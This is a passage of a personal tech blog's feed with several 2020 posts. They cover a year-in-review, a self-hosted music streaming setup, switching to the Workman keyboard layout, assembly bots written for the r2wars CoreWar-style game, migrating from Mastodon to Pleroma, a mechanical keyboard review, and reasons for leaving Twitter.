in light of <span class="lol">the pandemic</span>. I have my finals going on right now, and 5 days to go for the next examination&mdash;a great time to reflect on what I managed to do this year. So here I am, sitting at my little home office-thing, with a bad cold&mdash;as is tradition during December&mdash;writing this post. Let&rsquo;s get to it!</p> <h2 id="interning-at-cometchat">interning at CometChat</h2> <p>I spent a good part of this year interning at <a href="https://www.cometchat.com" rel="nofollow">CometChat</a>, mostly working as an infrastructure engineer. I dabbled with some pretty neat tech&mdash;here&rsquo;s a quick list of things I worked on:</p> <ul> <li>XMPP over WebSockets (RFC 7395). Also wrote <a href="https://git.icyphox.sh/wsabi" rel="nofollow">wsabi</a>&mdash;a WebSocket proxy in Nim. Never got used, but cool nonetheless.</li> <li>On-premise (bare metal) deployment of our stack using Docker Swarm.</li> <li>Google Kubernetes Engine (GKE) deployment of our stack.</li> </ul> <p>I think there&rsquo;s value in adding that I experienced a paradigm shift in my view of tools like Kubernetes. I still think they&rsquo;re bloated and abstraction heavy, but they exist to solve a problem&mdash;and they do it somewhat okay. In an ideal world, nobody would fall for the &ldquo;cloud&rdquo; meme, and wouldn&rsquo;t toss everything into a container<sup class="footnote-ref" id="fnref:docker-meme"><a href="#fn:docker-meme">1</a></sup>&mdash;but our world is far from that.</p> <h2 id="things-i-made">things I made</h2> <ul> <li><a href="https://git.icyphox.sh/shlide" rel="nofollow">shlide</a>: A slide deck presentation tool written in pure bash. Born from a conversation I had with a friend&mdash;quickly hacked it together over a weekend. Even used it for a talk I presented!</li> <li><a href="https://git.icyphox.sh/vite" rel="nofollow">vite</a>: Go rewrite of the static site generator I wrote in Python, way back in 2018. It was a misnomer, since it was far from <em>vite</em>.</li> </ul> <h2 id="other-hackery">other hackery</h2> <p>Self-hosted a <em>bunch</em> of services on my Pi. The only downtime is when my ISP goes down, which is thankfully not <em>that</em> often. Here&rsquo;s a list of things running on my Pi right now:</p> <ul> <li><a href="https://radicale.org" rel="nofollow">radicale</a>: Cal/CardDAV server</li> <li><a href="https://pleroma.social" rel="nofollow">Pleroma</a>: Single-user federated social media instance</li> <li><a href="https://cdn.icyphox.sh" rel="nofollow">filehost</a></li> <li><a href="https://github.com/sentriz/gonic" rel="nofollow">gonic</a>: Music streaming server</li> <li><a href="http://deavmi.assigned.network/docs/crxn/site/" rel="nofollow">crxn</a>: Cool network of cool people.</li> <li>Few other things that <a href="https://peppe.rs" rel="nofollow">Nerdy</a> uses.</li> </ul> <p>My OpenBSD install is still going strong! Started at 6.6, now on 6.8-current. This is most definitely my endgame OS&mdash;everything just works, and works very well.</p> <p>I played <a href="/blog/r2wars-2020">r2wars this year</a>, which was hella fun. A good exercise in assembly programming. I even placed 3rd, so that was awesome.</p> <h2 id="this-blog">this blog</h2> <p>Evidently, this site has undergone quite a few visual changes. It&rsquo;s no longer that all-black with white text, with occasional bits of cyan. My overall aesthetic has considerably mellowed down&mdash;prioritizing good typography over colors.</p> <pre><code class="language-console">$ cat pages/blog/*.md | grep 'date: 2020-' | wc -l 26 </code></pre> <p>26 posts this year (including this)! That&rsquo;s 8 more than the 18 I wrote last year&mdash;roughly 1 post every two weeks. Pretty good variety too&mdash;some technical, some less so&hellip;and some controversial. Heh.</p> <h2 id="onward-and-upward">onward and upward</h2> <p>Contrary to popular opinion, 2020 wasn&rsquo;t all that bad&mdash;obviously, I only speak for myself. That said, I&rsquo;m looking forward to 2021 for a number of reasons: for one, I&rsquo;ll be done with college (finally!), and starting a full-time job at a company I find really exciting!</p> <p>I have a few blog post ideas that I didn&rsquo;t get around to writing this year, so expect to see a few of those. The new job will involve a lot of infra-related work&mdash;I&rsquo;m certain my incredibly sought after insights on those things will find their way here, as well.</p> <p>Anyway, I&rsquo;m going to enjoy the rest of this year playing Runeterra and Halo MCC. On to greater things in 2021, and I&rsquo;ll see you next year!</p> <div class="footnotes"> <hr /> <ol> <li id="fn:docker-meme"><a href="https://i.imgur.com/3eTKEZp.jpg" rel="nofollow">https://i.imgur.com/3eTKEZp.jpg</a> <a class="footnote-return" href="#fnref:docker-meme"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + My music streaming setup + 2020-12-13T00:00:00Z + tag:icyphox.sh/,2020-12-13:blog/music-streaming + + <h2>Think Spotify, but self-hosted and not as good</h2> <p>Having a self-hosted, centralized music streaming setup has been on my todo list for the longest time. I&rsquo;d initially tried using NFS, but mounting it on my phone was very inconvenient. Incidentally, a few days ago, the existence of Subsonic/*sonic became known to me.</p> <h2 id="gonic">gonic</h2> <p>I found <a href="https://github.com/sentriz/gonic" rel="nofollow">gonic</a> to be the simplest of them all, and proceeded to set it up on the RPi. There are other alternatives too, like <a href="https://www.navidrome.org" rel="nofollow">Navidrome</a>, which ships with a web player, or <a href="https://airsonic.github.io/" rel="nofollow">Airsonic</a>. gonic stood out the most to me because it&rsquo;s effectively headless, barring a simple web interface for configuration.</p> <p>Setting it up was trivial. I did run into an <a href="https://github.com/sentriz/gonic/issues/89" rel="nofollow">issue</a>&mdash;I noticed that only songs that were already in folders, sorted by album, were being picked up in the scan.</p> <pre><code>|-- Void Of Vision - Hyperdaze (2019) | |-- 01. Overture.mp3 | |-- 02. Year of the Rat.mp3 | |-- 03. Babylon.mp3 | |-- 04. If Only.mp3 | |-- 05. Slave to the Name.mp3 | |-- 06. Adrenaline.mp3 | |-- 07. Hole In Me.mp3 | |-- 08. Kerosene Dream.mp3 | |-- 09. Decay.mp3 | |-- 10. Splinter.mp3 | |-- 11. Hyperdaze.mp3 |-- Volumes - Disaster Vehicle.mp3 |-- Volumes - Finite.mp3 |-- Volumes - Heavy Silence.mp3 |-- Volumes - Hope.mp3 |-- Volumes - Interlude.mp3 ... </code></pre> <p>So, in a directory tree like above, only the tracks inside &ldquo;Void Of Vision - Hyperdaze (2019)&rdquo; would get picked up, and all the &ldquo;Volumes&rdquo; songs wouldn&rsquo;t&mdash;since it wasn&rsquo;t in a subfolder of its own.</p> <p>As a workaround&mdash;and a necessary cleanup of my music&mdash;I figured I&rsquo;d give <a href="https://beets.io" rel="nofollow">beets</a> a shot.</p> <h2 id="beets">beets</h2> <p>beets is extensively documented, so I&rsquo;ll skip the basics. In essence, it&rsquo;s a music organization tool&mdash;fetches tags, sorts your collection, etc. Most of my music has been tagged already, so I skipped that. I only it all to be grouped by album. A bit of digging in the docs, and I found what I wanted: <code>--group-albums</code>.</p> <p>And in my <code>config.yaml</code>, I specified my desired path format like so:</p> <pre><code class="language-yaml">... paths: default: $albumartist - $album%aunique{}/$track $title </code></pre> <p>Finally, running:</p> <pre><code>$ beet import --noautotag --move --group-albums path/to/dirty/music $ tree ~/music ... 104 directories, 1108 files </code></pre> <p>Nice! gonic then happily scanned all my music.</p> <h2 id="actually-streaming-this-music">actually streaming this music</h2> <p>On my laptop, I decided to just use the NFS share approach&mdash;primarily because I&rsquo;d like to stick to <code>cmus</code> and desktop Subsonic clients like <a href="https://gitlab.com/sublime-music/sublime-music" rel="nofollow">Sublime Music</a> are very clunky.</p> <p>On Android, there are quite a few options on F-Droid&mdash;I decided to go with <a href="https://github.com/ultrasonic/ultrasonic" rel="nofollow">Ultrasonic</a> since it&rsquo;s the only one that supports Last.fm scrobbling.</p> <p>All things considered, I think I&rsquo;m pretty satisfied with this. &lsquo;twas a good weekend.</p> + + + The Workman keyboard layout + 2020-10-24T00:00:00Z + tag:icyphox.sh/,2020-10-24:blog/workman + + <h2>I have a lot of free time on my hands (heh)</h2> <p>I&rsquo;ve been at my computer everyday, for at least 10 hours at minimum. These past ~6 - 7 months have been the most I&rsquo;ve ever used my computer. Eventually, I started experiencing discomfort and pain&mdash;especially in my pinkie finger. Typing became a chore, and I found myself using my shell&rsquo;s command history more just to avoid typing commands. I tried using a wrist rest, different keyboard heights, but nothing helped.</p> <p>Thus began my search for a new keyboard layout, and it swiftly concluded once I chanced upon the <a href="https://workmanlayout.org" rel="nofollow">Workman layout</a>. According to the website, it is supposedly an improvement over Colemak and Dvorak. I skimmed through the numbers and other stats, but I honestly didn&rsquo;t care. &ldquo;Oh it&rsquo;s better than the popular alternative layouts? Okay that&rsquo;s enough for me.&rdquo;</p> <p><img src="https://raw.githubusercontent.com/kdeloach/workman/gh-pages/images/workman_layout.png" alt="workman layout" /></p> <p>I downloaded the tarball containing the different config files for different platforms etc. I just needed the <code>xmodmap</code>&mdash;that&rsquo;s the easiest way to apply a keyboard layout.</p> <pre><code class="language-console">$ xmodmap xmodmap.workman </code></pre> <p>To practice the layout, I used <a href="https://keybr.com" rel="nofollow">keybr.com</a>. You can configure the keyboard layout via the settings. Naturally, the first few days were incredibly painful. I was only able to type short sentences with very small words. I tried to not engage in heated discussions on IRC, for I could not type up a response in time. However, if I did stumble into one, I would switch back to QWERTY just for those couple of messages.</p> <p>I found myself making the switch less and less, over the next few days. Chatting on IRC is a <em>great</em> way to learn a layout. Or chatting anywhere, really. It forces you to get accustomed to the layout by typing the common words used in conversation. I also made a tiny change to the layout&mdash;swapping the <kbd>F</kbd> and <kbd>B</kbd> keys, since typing the &ldquo;fo&rdquo; / &ldquo;of&rdquo; digram in the same hand felt really weird. Soon enough, I was averaging about 30 - 40 WPM within the first week of having switched to Workman.</p> <p>And then things at work started to pick up, and I had to do what I had been dreading the most: edit code&mdash;in Vim. It&rsquo;s fairly common knowledge that Vim, by default, extensively uses the <kbd>H</kbd>, <kbd>J</kbd>, <kbd>K</kbd> and <kbd>L</kbd> keys for navigation. Sure, there are better ways to move around and only using those keys is frowned upon&mdash;but it&rsquo;s a habit built over years, and hard to shake off. After poking around for a bit, I found the <a href="https://github.com/nicwest/vim-workman" rel="nofollow">vim-workman</a> plugin. Forked it to apply the <kbd>F</kbd>/<kbd>B</kbd> change, and I began using it.</p> <p>It was great at first. My Vim muscle memory was not hampered, as I was able to use QWERTY in normal mode, and Workman in insert. But as I got better at Workman, I found myself instinctively reaching for the Workman keys in normal mode. Well, everything except for the <kbd>H</kbd>, <kbd>J</kbd>, <kbd>K</kbd> and <kbd>L</kbd> keys. This quickly became bothersome and I uninstalled the plugin to search for a better solution.</p> <p>Wait, don&rsquo;t I have a sick new <a href="/blog/ducky-one-2">programmable mechanical keyboard</a>? What if I configure a layer on it just for the <kbd>H</kbd>, <kbd>J</kbd>, <kbd>K</kbd>, <kbd>L</kbd> keys? After pouring through the manual for a bit, I eventually got it set up. I even remapped the <kbd>Caps Lock</kbd> key to <kbd>Fn</kbd> so it&rsquo;s easier to access the layer. So now, hitting <kbd>Caps Lock</kbd>+<kbd>Y</kbd>/<kbd>N</kbd>/<kbd>E</kbd>/<kbd>O</kbd> results in <kbd>HJKL</kbd> being pressed. This took a little bit of getting used to, but it got easier with a bit of practice.</p> <p>Since I don&rsquo;t rely on any plugin/remappings, I can use Vim as is on remote machines too. Another bonus from this adventure was I actually spent time learning better ways to navigate, and reduce my reliance on <kbd>HJKL</kbd>. Overall, a big win.</p> <p>It&rsquo;s been over 4 weeks since my switch, I think, and I&rsquo;m comfortably averaging around 80 WPM. Still a good 20 WPM slower than QWERTY, but I think it&rsquo;ll get better with time. And am I still able to use QWERTY? Well, kinda. I still use QWERTY on my phone keyboard, since Workman isn&rsquo;t an option on it and it&rsquo;s actually alright. However, when I use my desktop to play Dota, I prefer using voice chat to communicate since typing on QWERTY takes too long&mdash;I am forced to hunt and peck. Interestingly, after about 15 - 20 minutes on QWERTY, my brain kinda just clicks back and I can type on it with relative ease. Not as fast as I used to be, but it&rsquo;s manageable.</p> <p>All things considered, switching to Workman was one of the better decisions I have made in life. It feels so nice to be able to type out whole words in just the home row. It just <em>flows</em> so nicely, and it has made typing so much more enjoyable again.</p> + + + My submissions for r2wars 2020 + 2020-09-13T00:00:00Z + tag:icyphox.sh/,2020-09-13:blog/r2wars-2020 + + <h2>If I learnt one thing, it's that ARM is the future</h2> <p><a href="https://github.com/radareorg/r2wars" rel="nofollow">r2wars</a> is a <a href="http://corewars.org" rel="nofollow">CoreWar</a>-like game thar runs within the radare2 <a href="https://radare.gitbooks.io/radare2book/content/disassembling/esil.html" rel="nofollow">ESIL</a> virtual machine. In short, you have two programs running in a shared memory space (1kb), with the goal of killing the other and surviving as long as possible. r2wars was conducted as a part of <a href="https://rada.re/con/2020" rel="nofollow">r2con2020</a>.</p> <h2 id="day-1">day 1</h2> <p>My first submission was an incredibly simple &ldquo;bomber&rdquo;. All it does is write code to a location, jump there, and continue executing the same thing over and over.</p> <pre><code class="language-asm">mov eax, 0xfeebfeeb; just some bad jumps mov ebx, eax mov ecx, eax mov edx, eax mov ebp, eax mov edi, eax mov esp, 0x3fc mov esi, 0x3fd mov [esi], 0xe6ff60 jmp esi </code></pre> <p>Specifically, it writes <code>0xe6ff60</code>, which is</p> <pre><code class="language-asm">pushal jmp esi </code></pre> <p>effectively looping over and over. <code>pushal</code> is a very interesting x86 instruction, that pushes all the registers and decrements the stack pointer <code>esp</code> by how many ever bytes were pushed. Nifty, especially if you&rsquo;re looking for high throughput (to bomb the address space). Here, it starts bombing from <code>0x3fc</code> - <code>0x000</code> (and below, because there&rsquo;s no bounds checking in place), and ends up killing itself, since writing outside of the arena (<code>0x000</code> - <code>0x400</code>) is illegal.</p> <p>Ultimately, this bot placed 7th out of 9 contestants&mdash;an underwhelming outcome. I had to fix this.</p> <p><img src="https://cdn.icyphox.sh/gk1i0.png" alt="day 1" /></p> <h2 id="day-2">day 2</h2> <p>I sat for a second and recollected the different reasons for my bot getting killed, and the one that occurred the most was my bot insta-dying to bad instructions being written from <code>0x400</code>&mdash;i.e. from near where I&rsquo;m positioned. Nearly all competing bots write from bottom up, because <code>pushal</code> <em>decrements</em> the stack pointer. So the obvious solution was to reposition my initial payload way above, at <code>0x000</code>. And of course, it goes without saying that this assumes everyone&rsquo;s using <code>pushal</code> (they are).</p> <pre><code class="language-asm">mov eax, 0xffffffff mov ecx, eax mov edx, eax mov ebx, eax mov ebp, eax mov esi, eax check: mov edi, 0x000 cmp [edi], 0 jne planb mov esp, 0x400 inc edi mov [edi], 0xe7ff6060; pushal, jmp edi jmp edi planb: mov edi, 0x3fb mov [edi], 0xe7ff6060 mov esp, 0x3fa jmp edi </code></pre> <p>I also added a (pretty redundant) check to see if the stuff at <code>edi</code> was 0, since the entire arena is initially <code>0x0</code>. My reasoning, albeit flawed, was that if it wasn&rsquo;t 0, then it was unsafe to go there. In hindsight, it would&rsquo;ve been <em>safer</em>, since it&rsquo;s already been written over by somebody. In any case, <code>planb</code> never got executed because of what I&rsquo;d mentioned earlier&mdash;<em>everyone</em> writes from <code>0x400</code>. Or anywhere above <code>0x000</code>, for that matter. So I&rsquo;m relatively safer than I was in day 1.</p> <p>These changes paid off, though. I placed 4th on day 2, out of 13 contestants! This screenshot was taken on my phone as I was eating dinner.</p> <p><img src="https://cdn.icyphox.sh/5ZJfT.png" alt="day 2" /></p> <p>All wasn&rsquo;t well though&mdash;I still lost 4 matches, for the reasons below:</p> <ol> <li>I&rsquo;d get snuffed out before my bomb wave from <code>0x400</code> would reach the opponent.</li> <li>I&rsquo;d end up bombing myself without hitting anyone on the way up.</li> </ol> <h2 id="day-3">day 3</h2> <p>I needed to add some checks to prevent killing myself in the process of bombing.</p> <pre><code class="language-asm">mov eax, 0xffffffff mov ecx, eax mov edx, eax mov ebx, eax mov ebp, eax mov esi, eax mov edi, 0x000 mov esp, 0x400 mov [edi], 0x20fc8360 mov [edi+4], 0xff600374 mov [edi+8], 0x0400bce7 mov [edi+12], 0xe7ff0000 jmp edi </code></pre> <p>If you noticed, the initial payload I&rsquo;m writing to the address at <code>edi</code> is a bit more complex this time&mdash;let&rsquo;s break it down.</p> <pre><code>0x20fc8360 0xff600374 0x0400bce7 0xe7ff0000 </code></pre> <p>This translates to:</p> <pre><code class="language-asm">60 pushal 83 FC 20 cmp esp, 0x20 74 03 je 9 60 pushal FF E7 jmp edi BC 04 00 00 00 mov esp, 0x400; &lt;- 0x9 FF E7 jmp edi </code></pre> <p>I check if the stack pointer is <code>0x20</code> (decrements from <code>0x400</code> due to <code>pushal</code>); if yes, reset to <code>0x400</code>, else continue looping. This prevented me from writing myself over, and also resets bombing from <code>0x400</code>&mdash;better chance of hitting someone we missed in our first wave.</p> <p>Sounds good? That&rsquo;s what I thought too. Day 3 had a bunch of new bot submissions (and some updated submissions), and a lot of them checked <code>0x000</code> for existence of a bot, effectively recking me. I placed 8th out of 14 contestants, with 7 wins and 6 losses. Tough day.</p> <p><img src="https://cdn.icyphox.sh/IKqxD.png" alt="day 3" /></p> <h2 id="day-4-the-finals">day 4: the finals</h2> <p>I spent a lot of time refactoring my bot. I tried all kinds of things, even reworked it to be entirely mobile using the <code>pushal</code> + <code>jmp esp</code> trick, but I just wasn&rsquo;t satisfied. In the end, I decided to address the problem in the simplest way possible. You&rsquo;re checking <code>0x000</code>? Okay, I&rsquo;ll reposition my initial payload to <code>0xd</code>.</p> <p>And this surprisingly tiny change landed me in 4th place out of 15 contestants, which was <em>way</em> better than I&rsquo;d anticipated! The top spots were all claimed by ARM, and naturally so&mdash;they had a potential throughput of 64 bytes per cycle thanks to <code>stmia</code>, compared to x86&rsquo;s 32 bytes. Pretty neat!</p> <p><img src="https://cdn.icyphox.sh/DJbEE.png" alt="day 4" /></p> <h2 id="links-and-references">links and references</h2> <ul> <li><a href="https://anisse.astier.eu/r2wars-2019.html" rel="nofollow">Anisse&rsquo;s r2wars 2019 post</a></li> <li><a href="https://www.tildeho.me/r2wars/" rel="nofollow">Emile&rsquo;s intro to r2wars</a></li> <li><a href="https://bananamafia.dev/post/r2wars-2019/" rel="nofollow">How not to suck at r2wars</a></li> <li><a href="https://ackcent.com/r2wars-shall-we-play-a-game/" rel="nofollow">r2wars: Shall we play a game?</a></li> <li><a href="http://shell-storm.org/online/Online-Assembler-and-Disassembler" rel="nofollow">Shell Storm&rsquo;s online (dis)assembler</a></li> <li><a href="https://github.com/radareorg/radare2" rel="nofollow">radare2</a></li> <li><a href="https://github.com/radareorg/r2wars" rel="nofollow">r2wars game engine</a></li> <li><a href="https://github.com/anisse/r2warsbots" rel="nofollow">Anisse&rsquo;s bot workspace</a></li> <li><a href="https://github.com/icyphox/r2wars-bots" rel="nofollow">My bot dev workspace</a></li> <li><a href="https://www.youtube.com/channel/UCZo6gyBPj6Vgg8u2dfIhY4Q" rel="nofollow">r2con YouTube</a></li> </ul> <h2 id="closing-thoughts">closing thoughts</h2> <p>This was my first ever r2wars, and it was an incredible experience. Who woulda thunk staring at colored boxes on the screen would be so much fun?! So much so that my parents walked over to see what all the fuss was about. Shoutout to <a href="https://twitter.com/sanguinawer" rel="nofollow">Abel</a> and <a href="https://twitter.com/trufae" rel="nofollow">pancake</a> for taking the time out to work on this, and <em>especially</em> Abel for dealing with all the last minute updates and bot submissions!</p> <p>All things said, mine was still the best x86 bot&mdash;so that&rsquo;s a win. ;)</p> + + + Migrating from Mastodon to Pleroma + 2020-09-04T00:00:00Z + tag:icyphox.sh/,2020-09-04:blog/mastodon-to-pleroma + + <h2>Mastodon bad. Pleroma good.</h2> <p>If you&rsquo;ve been following me on the fediverse, you would&rsquo;ve witnessed my numerous (failed) attempts at migrating from Mastodon to Pleroma, running on my Raspberry Pi. I finally got it working, and these are the steps I took. It&rsquo;s sort of a loose guide you could follow, but I can&rsquo;t promise it&rsquo;ll work for you.</p> <p>The Erlang and Elixir packages are pretty broken and outdated on Raspbian. So this time, I built them from source.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup><sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> I also assume you have Mastodon and Pleroma (source, not OTP) installed&mdash;probably at <code>/home/mastodon/live</code> and <code>/opt/pleroma</code>, respectively.</p> <p>Once you have Erlang and Elixir compiled and sitting in your <code>PATH</code>, pull <a href="https://gitlab.com/soapbox-pub/migrator" rel="nofollow">soapbox-pub/migrator</a>. Now read the readme and the <code>do_migration.sh</code> script to get an idea of what you&rsquo;re getting into.</p> <p>Move into the cloned directory and create a <code>.env</code>:</p> <pre><code class="language-shell">MASTODON_PATH=/home/mastodon/live PLEROMA_PATH=/opt/pleroma </code></pre> <p>Then, run:</p> <pre><code class="language-console">$ yarn # install deps $ cp -r mastodon/* /home/mastodon/live $ cp -r pleroma/* /opt/pleroma $ RAILS_ENV=production yarn masto export </code></pre> <p>If you run into any permissions issues, <code>chown</code> and proceed. This should export all your Mastodon activity into <code>/home/mastodon/live/migrator</code>. Now, copy the <code>migrator</code> directory into your Pleroma installation path.</p> <pre><code class="language-console">$ cp -r migrator /opt/pleroma </code></pre> <p>You can then import all of it into Pleroma (possibly prefixed with <code>sudo -Hu pleroma</code>):</p> <pre><code class="language-console">$ MIX_ENV=prod mix migrator.import </code></pre> <p>If all went well, you would&rsquo;ve successfully migrated from Mastodon to Pleroma. If not, well feel free to send me an email (or @ me on the fedi). I suppose you could also reach <a href="https://alexgleason.me" rel="nofollow">Alex</a>&mdash;he&rsquo;s the incredibly based guy who wrote the migrator, <a href="https://soapbox.pub" rel="nofollow">soapbox-fe</a> and does some Elixir magic he keeps <a href="https://gleasonator.com/@alex" rel="nofollow">posting about</a>.</p> <p>Rest assured, the migrator has a 100% success rate&mdash;Alex and I are apparently the only two who have it working. <sup>2</sup>&frasl;<sub>2</sub>.</p> <h2 id="why-should-you-migrate">why should you migrate?</h2> <p>Because Pleroma is cleaner, leaner<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup> and prettier looking<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup>. Oh, and we have chats. <img src="https://cdn.icyphox.sh/l8g5y.png" alt="screenshot of pleroma + soapbox-fe" /></p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="http://erlang.org/doc/installation_guide/INSTALL.html" rel="nofollow">Erlang install guide</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2"><a href="https://elixir-lang.org/install.html#compiling-from-source-unix-and-mingw" rel="nofollow">Elixir install guide</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3"><p>Mastodon used about ~2.5 GB out of the 4 I have on my Pi. With Pleroma, the total used RAM is only about ~700 MB. That&rsquo;s crazy!</p> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:4">&hellip;with Soapbox. :^) <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + The Ducky One 2 SF + 2020-08-22T00:00:00Z + tag:icyphox.sh/,2020-08-22:blog/ducky-one-2 + + <h2>I fell for the mechanical keyboard meme</h2> <p>Thanks to the pandemic yada yada I&rsquo;ve been working from home (and attending college from home), and I figured my WFH setup could use an upgrade. Unfortunately, the choices for mechanical keyboards in India are fairly limited. All imports from China don&rsquo;t get through, and imports from elsewhere have a <em>fat</em> duty slapped on it&mdash;sometimes up to 300%<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>. It&rsquo;s obscene!</p> <p>The only reliable source I&rsquo;ve found (and folks on <a href="https://reddit.com/r/mkindia" rel="nofollow">r/mkindia</a> will concur), is <a href="https://meckeys.com" rel="nofollow">Meckeys</a>. They aren&rsquo;t particularly abundant in variety, but there&rsquo;s some decent prebuilts that you can pick up on there&mdash;and I copped the Ducky One 2 SF.</p> <p><img src="https://cdn.icyphox.sh/5LSG7.jpg" alt="Ducky One 2 SF side view" /></p> <p>It&rsquo;s a 65% board, so unlike standard 60% boards, this comes with arrow keys and the <code>Del</code>, <code>PgUp</code> and <code>PgDn</code> keys. I don&rsquo;t <em>really</em> need the arrow keys, but they do come handy on the occasion&mdash;like scrolling, for example. Since this board lacks the function row, the <code>Esc</code> and the <code>~</code> keys are merged. I have to hit <code>Shift + Esc</code> for tilde (same action as usual), and <code>Fn + Esc</code> for the backtick. Takes a bit of relearning, but it&rsquo;s manageable.</p> <p><img src="https://cdn.icyphox.sh/tRdNw.jpg" alt="Ducky One 2 SF top-down view" /></p> <p>The key switches I went with were the Cherry MX Speed Silvers&mdash;like Reds but actuate a bit faster. As it&rsquo;s my first ever mechanical keyboard, I don&rsquo;t really have anything to compare it against. It feels <em>great</em>, but it was pretty jarring initially because even the slightest touch (with the palm for instance), would cause a key to actuate, leading to typos. Again, just a matter of getting accustomed to it; all smooth sailing after. Why did I pick the Speed Silvers? The other switch options were out of stock.</p> <p>That said, I think I really quite like linear switches. They&rsquo;re not <em>too</em> noisy, and they feel just right. I haven&rsquo;t noticed any great improvement in my typing speeds though&mdash;I still maintain an average of 90&ndash;100 WPM.</p> <p>The One 2 SF is fully RGB, i.e. each key is individually lit. Not that I make big use it. I have it set to plain white, and only light up under the key I&rsquo;m currently pressing. Yes, this also makes it incredibly easy for people to shoulder-peek your passwords. I certainly won&rsquo;t be using it outside home.</p> <p>The keyboard itself cost 9599 INR, which is about 128 USD. Meckeys took exactly 10 days to ship it (3rd Aug - 13th Aug). Overall, it&rsquo;s a lovely keyboard, and I <em>cannot</em> type on my laptop&rsquo;s low-travel chiclet-style keyboard, again. There&rsquo;s just no going back.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="https://www.reddit.com/r/mkindia/comments/hzyoof/i_see_many_spreading_misinformation_about_import/" rel="nofollow">Reddit link</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Some thoughts on Twitter + 2020-08-03T00:00:00Z + tag:icyphox.sh/,2020-08-03:blog/twitter + + <h2>I've begun avoiding Twitter, here's why</h2> <p>This post has been a long time coming. Earlier this year, I decided to not actively participate on Twitter, and stick to the fediverse primarily. This has been quite possibly the best decision I&rsquo;ve made, with regard to curating my social / informational feeds&mdash;apart from <a href="/blog/dont-news">not reading news</a>. I&rsquo;ll try to gloss over some reasons as to why I dislike Twitter as a platform, in this post. Bear in mind, these are based on my experiences and YMMV.</p> <h2 id="filter-bubbles-and-radicalization">filter bubbles and radicalization</h2> <p>I think this can be said about any social network, but the way that Twitter is designed only further enables this phenomenon. The more you interact / show interest in a specific topic, the more you see of the same&mdash;in terms of suggested accounts to follow, notifications/email telling you XYZ tweeted this (you probably don&rsquo;t even follow XYZ).</p> <p>I&rsquo;ve experienced this first hand. I created an alt and followed a few prominent right-wing accounts (for science!), and within a day or two, my notifications and inbox were filled with similar accounts &amp; tweets.</p> <p>This, as a result, means the user is much more likely to see content similar to their own perspectives&mdash;a <em>filter bubble</em>. The user is effectively isolated in their own ideological bubbles. Consequentially, any form of disagreement that occurs is tossed aside as <em>the other party&rsquo;s</em> flaw. Surely they wouldn&rsquo;t hold that perspective if they could see things <em>your</em> way! It&rsquo;s <em>their</em> ignorance!</p> <p>One might argue, however, that they do in fact see a lot of opposing viewpoints in their feed. After all, most of mainstream discourse on Twitter is just derisive tweets by proponents of either side<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>, at each other. The left quote-tweeting the right and vice versa, for example. In fact, this is pretty much all that today&rsquo;s &ldquo;news&rdquo; is about&mdash;constant, endless rebuttals to the other&rsquo;s perspective. I still think this <em>is</em> filter bubbling&mdash;the constant reaffirmation of your ideologies, by taking potshots at the other side.</p> <p>And what does constant exposure to a singular viewpoint lead to? That&rsquo;s right, radicalization. I won&rsquo;t get into too much detail&mdash;there really isn&rsquo;t much to say. I&rsquo;ll just add that I know of a few cases IRL, where within little over a year of having created a Twitter account the person&rsquo;s political and ideological positions became hard lines&mdash;and they now straight up refuse to look at things any other way. This is by no means a scientific conclusion; there are various other influencing factors, but my point still stands.</p> <h2 id="favors-mistakes-over-apologies">favors mistakes over apologies</h2> <p>Twitter&rsquo;s design is plagued with flaws, but this one takes the cake. If you screw up or tweet something incorrect, and it happens to go viral, there&rsquo;s literally no good way to publish a correction / apology. Quoting the fantastic article by Nick Punt on <a href="https://nickpunt.com/blog/deescalating-social-media/" rel="nofollow">deescalating conflict on social media</a>:</p> <blockquote> <p>If we ignore replies, the simple amplification effects of likes, replies, retweets, and subtweets leave us exposed and the situation can get out of hand. If we delete and post another, people are unlikely to see our follow-up, as corrections are rarely viral. Similarly, even if we reply, only our viral mistake will be seen in the feed of others.</p> </blockquote> <h2 id="too-much-uspol">too much USPOL</h2> <p>This might be a non-issue for US residents, but gosh is it irritating to see US politics literally everywhere. I&rsquo;m of the opinion that USPOL is given an unfair amount of attention in mainstream discourse&mdash;to the point where it overshadows everything else, and Twitter is no exception.</p> <h2 id="generally-unhealthy-discourse">generally unhealthy discourse</h2> <p>If you take a close look at the overarching theme of most Tweets, or even just the popular ones&mdash;you&rsquo;ll notice a fairly negativist outlook across most, if not all of them. The <a href="https://reddit.com/r/2meirl4meirl" rel="nofollow">r/2meirl4meirl</a> kind.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> This is a very unhealthy environment to socialize in. Constantly brooding over things you can&rsquo;t really affect is quite pointless.</p> <p>Another general theme is the constant need for one-upping the other&mdash;the never-ending contest of who&rsquo;s going to post the most clever comeback. For what? For the likes and retweets, of course. This is also what most of &ldquo;cancel culture&rdquo; is really about&mdash;pick a target, post screenshots, add a snide remark: voilà, you have a somewhat popular tweet.</p> <h2 id="why-don-t-you-just-curate-your-feed-then-bro">why don&rsquo;t you just curate your feed then bro?</h2> <p>Yeah, no. I&rsquo;ve tried. The problem is, following someone for the technical content doesn&rsquo;t imply they&rsquo;re constantly only going to post that&mdash;and that&rsquo;s their prerogative. And Twitter&rsquo;s annoying &ldquo;XYZ liked this tweet&rdquo; doesn&rsquo;t help either. Trying to make your Twitter timeline BS-free is like trying to straighten a dog&rsquo;s tail.</p> <p>So what do I suggest then? I really don&rsquo;t know. Honestly, all social media sucks. The entire idea is so contrived and the world would&rsquo;ve been better off without it&mdash;the incessant, mind-numbing feed of information. But the shinier turd here is the fediverse. 